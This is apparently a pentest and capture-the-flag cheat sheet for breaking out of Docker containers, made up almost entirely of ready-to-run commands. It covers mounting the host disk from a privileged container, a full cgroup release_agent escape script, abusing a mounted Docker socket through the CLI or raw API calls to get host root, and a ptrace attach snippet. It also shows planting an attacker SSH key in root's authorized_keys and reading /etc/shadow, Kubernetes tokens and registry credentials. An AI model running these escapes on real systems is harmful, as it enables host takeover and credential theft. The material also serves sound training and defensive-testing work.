container::escape

pentest docker container escape
DetectPrivileged Host MountsDocker socket CapabilitiesNamespaces Env & secretsTools
01Am I in a Container?
Detection
# Check for container indicators
ls /.dockerenv          # exists → Docker container
cat /proc/1/cgroup      # look for docker/kubepods
cat /proc/self/cgroup | grep -i "docker\|lxc\|kubepods"

# Hostname usually a container ID
hostname                # e.g. a3f2b1c4d5e6

# /proc/1/environ — init env (may leak secrets)
cat /proc/1/environ | tr '\0' '\n'
strings /proc/1/environ | grep -i "flag\|secret\|pass\|key"

# Few processes = container
ps aux | wc -l

# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Full caps = 0000003fffffffff → privileged
Quick escape checklist
CheckCommandIf true → escape via
Privilegedcat /proc/self/status | grep CapEffMount host disk
Docker socketls /var/run/docker.sockCreate privileged container
Host /ls /host /mnt/hostchroot to host
Writable cgroupls /sys/fs/cgroupcgroup notify_on_release
SYS_PTRACE capcapsh --print | grep ptraceptrace host process
Env secretsenv; cat /proc/1/environRead flag directly
Mounted secretsmount | grep secretRead secret file
02Privileged Container Escape
Mount host disk
# In a privileged container you can mount any device

# Step 1: find host disk
fdisk -l                    # or lsblk
ls /dev/sd* /dev/vd* /dev/nvme*

# Step 2: mount it
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Step 3: access host filesystem
ls /mnt/host/root/          # root's home
cat /mnt/host/etc/shadow    # hashes
cat /mnt/host/root/flag.txt # flag!

# Step 4: chroot for full host shell
chroot /mnt/host /bin/bash

# Alternative: write SSH key to host
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker" >> /mnt/host/root/.ssh/authorized_keys
# Then: ssh root@host-ip
cgroup notify_on_release
# Classic privileged escape via cgroup v1
# Requires: CAP_SYS_ADMIN (privileged)

# Check writable cgroup
mount | grep cgroup
ls /sys/fs/cgroup/memory/

mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

# Find host path of container
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Write command to execute on host
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod a+x /cmd

# Trigger: release the cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output                 # root on host!
03Docker Socket Escape
Via docker CLI
# If /var/run/docker.sock is mounted in container
ls -la /var/run/docker.sock   # writable?

# Create new privileged container with host /
docker run -it --privileged --pid=host \
    -v /:/host \
    alpine chroot /host

# Or just read the flag directly
docker run -it -v /:/host alpine cat /host/root/flag.txt

# List running containers from inside
docker ps

# Access host process namespace
docker run -it --pid=host alpine ps aux
Via Docker API (no CLI)
# If docker CLI not available, use curl to API

# List containers
curl --unix-socket /var/run/docker.sock \
    http://localhost/containers/json

# Create privileged container
curl --unix-socket /var/run/docker.sock \
    -X POST -H "Content-Type: application/json" \
    -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/root/flag.txt"],"Binds":["/:/host"],"Privileged":true}' \
    http://localhost/containers/create

# Start it
curl --unix-socket /var/run/docker.sock \
    -X POST \
    http://localhost/containers/<id>/start

# Get logs (output)
curl --unix-socket /var/run/docker.sock \
    http://localhost/containers/<id>/logs?stdout=1
04Capability-based Escapes
Dangerous capabilities
CapabilityEscape method
CAP_SYS_ADMINMount filesystems, cgroup escape, many options critical
CAP_SYS_PTRACEptrace any process on host → inject code critical
CAP_NET_ADMINModify routing, create network interfaces
CAP_SYS_MODULELoad kernel modules → kernel code exec critical
CAP_DAC_READ_SEARCHRead any file on host (if volume mounted)
CAP_SYS_RAWIORaw I/O to devices → read /dev/mem
CAP_SETUIDElevate to root within container
# Check capabilities
capsh --print
cat /proc/self/status | grep Cap
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')

# SYS_PTRACE escape: inject into host process
# With --pid=host and SYS_PTRACE: attach to PID 1
python3 -c "
import ctypes
libc = ctypes.CDLL(None)
libc.ptrace(0, 1, 0, 0)  # PTRACE_ATTACH, pid=1
"
05Env Variables & Secrets
Find secrets in env
# Current process env
env
printenv
cat /proc/self/environ | tr '\0' '\n'

# PID 1 env (often has more vars)
cat /proc/1/environ | tr '\0' '\n'
strings /proc/1/environ

# All process envs
for pid in /proc/[0-9]*; do
    echo "=== PID ${pid##*/} ==="
    cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -i "flag\|secret\|key\|pass"
done

# Kubernetes secrets (mounted)
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Docker secrets
ls /run/secrets/
cat /run/secrets/flag
Mounted volumes & files
# Check all mounts
mount
cat /proc/mounts
df -h

# Look for host paths
mount | grep -v "overlay\|proc\|sys\|tmpfs\|cgroup\|devpts"

# Common CTF mount paths
ls /host /mnt /data /app /secret /flag 2>/dev/null

# Check for sensitive host files mounted
ls /etc/ssl/private/ 2>/dev/null
ls /root/.ssh/ 2>/dev/null
cat /flag 2>/dev/null
find / -name "flag*" -o -name "*.flag" 2>/dev/null | head -10

# Docker config (may have registry creds)
cat /root/.docker/config.json 2>/dev/null
CONTAINER ESCAPE CHECKLIST →  ① cat /proc/self/status | grep CapEff — check caps  ② ls /var/run/docker.sock — docker socket  ③ cat /proc/1/environ | tr '\0' '\n' — env secrets  ④ mount | grep -v overlay — host mounts  ⑤ Privileged → fdisk -l → mount host disk → chroot  ⑥ Docker socket → docker run -v /:/host alpine chroot /host  ⑦ find / -name "flag*" 2>/dev/null